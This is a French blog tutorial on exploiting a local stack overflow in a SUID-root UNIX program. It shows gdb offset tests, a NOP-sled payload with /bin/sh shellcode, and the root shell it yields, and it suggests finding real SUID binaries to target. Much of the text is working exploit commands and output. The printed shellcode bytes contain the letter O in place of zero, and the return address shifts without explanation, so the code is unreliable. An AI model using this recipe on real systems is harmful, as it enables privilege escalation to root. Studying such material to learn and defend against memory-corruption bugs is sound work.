Comme promis précédemment, voici la suite de l'exploitation des Stack Overflow sous UNIX (en local).
Pour les besoins de cet article , un code vulnérable (vuln.c) ,ainsi que notre shellcode seront nécéssaires ( dans le cadre d'une exploitation réelle , veillez a ce que le programme ait bien le suid root . Vous verrez les programmes le possédant en tapant dans le terminal : "find / -type f -perm -04000 " ).
------ Progs. utiles :
Prog.Vulnérable
le shellcode en hexadécimal
Exemple de Proof Of Concept basé sur vuln.c
------
Dans ce code , la taille du Buffer est de 512 octets.
Les sauvegardes registres , elles , sont codées en 4 octets (registres de 32 Bits).
Les deux arguments de la fonction sont des adresses de buffer codées elles aussi a 4 octets.
On peu donc en déduire que si nous arrivons a écrire 4 octets supplémentaires sur la taille du buffer on écrasera alors les 4 octets d' EBP .
Et si on écrit 4 octets de plus on devrait arrivé a écraser EIP , ainsi , la valeur que l'on aura défini et qui écrasera EIP sera POP dans la pile et, donc lorsque le programme effectura un JUMP , il le fera sur cette valeur la .
Bon , maintenant , il faut tester le buffer afin de voir a quel moment nous écraserons suffisament la pile ( ne pas oublié: on doit écraser EIP de façon a ce que le programme pointe sur l'adresse exacte en mémoire du début de notre shellcode ,afin d'exécuter le code injecté) .
Testons :
(gdb) r `perl -e 'print "A" x512 . "AAAA" . "DCBA"' `
Résultat:
Program received signal SIGSEGV, Segmentation fault.
0x8048400 in main ()
(gdb)
# 1er test ici au départ 512 octets ce qui est insuffisant
(gdb) r `perl -e 'print "A" x514 . "AAAA" . "DCBA"' `
Résultat:
Program received signal SIGSEGV, Segmentation fault.
0x8004142 in ?? ()
(gdb)
# 2eme test on commence écraser EIP a 514 (0x08004142)
On en déduit donc qu'avec 2 octets de plus donc "A" x516 ( soit 4 au total) , on doit arriver a 0x41424344 soit DCBA , la représentation en hexadécimal de DCBA .
(gdb) r `perl -e 'print "A" x516 . "AAAA" . "DCBA"' `
Résultat:
Program received signal SIGSEGV, Segmentation fault.
0x41424344 in ?? ()
(gdb)
Notre objectif , je le rappelle est de faire JUMPER le programme sur notre code ASM injecté en mémoire afin d'exécuter un /bin/sh .
Le meilleur moyen d'y parvenir est de placer le code arbitraire en argument de l'exécutable pour le placer dans le buffer qui subira le débordement de tampon.
On écrase donc EIP avec l'adresse du début du shellcode pour avoir un shell (/bin/sh) root .
Pour écraser EIP on envoi 516 octets +2 octets pour arriver au début de notre shellcode soit = "A" x518 , puis ABCD = total de 522 Octets.
Donc pour arriver avant EIP, il faut 518 octets car au-dela , nous l'écraseront.
En utilisera donc des NOP ( ne fait rien) jusqu'a ce que le shellcode soit exécuté.
=> Nous exécutons donc :
A x 154 + 340 NOP (0x90 ou \x90) + 24 octets du shellcode + octet pour EIP = 522 Octets .
On arrive alors a faire pointer ESP sur le début du shellcode a exécuter.
RAPPEL : l'écrasement d'un registre (EIP , EBP ..) se fait par groupe de 4 Octets .
On exécute le shellcode suivant :
(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "DCBA" '`
Puis , nous regardons ce qui se trouve dans EIP.
Nous choisissons une adresse se situant parmis les NOP
(par exemple : 0xbfa412f0)
Enfin , a la place de DCBA , on mettra: "\xf0\x12\xa4\xbf"
(ce qui par la suite deviendra: " \x08\xf3\xff\xbf")
Cet offset ajouter a notre Shelcode donnera donc :
(gdb) r `perl -e 'print "A" x156 . "\x90" x340 . "\x31\xCO\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xBO\xOB\xCD\x80". "\x08\xf3\xff\xbf" ' `
sh-3.1#
Bingo ! Nous avons obtenu notre shell root alors que le programme lui , a été lancé en utilisateur .
Voila , nous désormais , nous en savons un peu plus sur les Stack Overflow .
Remerciments encore a FaSm pour son zine "Prog!" et ses tutos sur l'asm et les shellcodes .
Aucun commentaire:
Enregistrer un commentaire